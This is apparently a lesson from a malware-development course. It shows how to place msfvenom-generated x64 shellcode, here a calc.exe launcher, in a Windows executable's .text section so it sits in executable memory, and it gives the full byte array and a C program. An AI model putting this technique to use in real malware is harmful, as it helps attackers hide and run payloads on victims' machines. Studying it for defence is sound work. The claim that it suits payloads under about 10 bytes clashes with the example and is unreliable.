14. Payload Placement - .text Section

Payload Placement - .text Section

Introduction

The previous module discussed storing payloads in the .data and .rdata sections, while this module covers storing payloads in the .text section.

.text Section

Saving the variables in the .text section differs from saving them in the .data or .rdata sections, as it is not just a matter of declaring a random variable. Rather, one must instruct the compiler to save it in the .text section, which is demonstrated in the code snippet below.

#include <Windows.h>#include <stdio.h>// msfvenom calc shellcode
// msfvenom -p windows/x64/exec CMD=calc.exe -f c
// .text saved payload
#pragma section(".text")__declspec(allocate(".text")) const unsigned char Text_RawData[] = {
	0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
	0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
	0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
	0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
	0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
	0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
	0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
	0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
	0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
	0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
	0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
	0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
	0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
	0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
	0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
	0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
	0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
	0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
	0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
	0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
	0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
	0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
	0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};

int main() {

	printf("[i] Text_RawData var : 0x%p \n", Text_RawData);
	printf("[#] Press <Enter> To Quit ...");
	getchar();
	return 0;
}

Here, the compiler is told to place the Text_rawData variable in the .text section instead of the .rdata section. The .text section is special in that it stores variables with executable memory permissions, allowing them to be executed directly without the need for editing the memory region permissions. This is useful for small payloads that are roughly less than 10 bytes.

Inspecting the binary compiled from the above code snippet using the PE-Bear tool reveals that the payload is located in the .text region.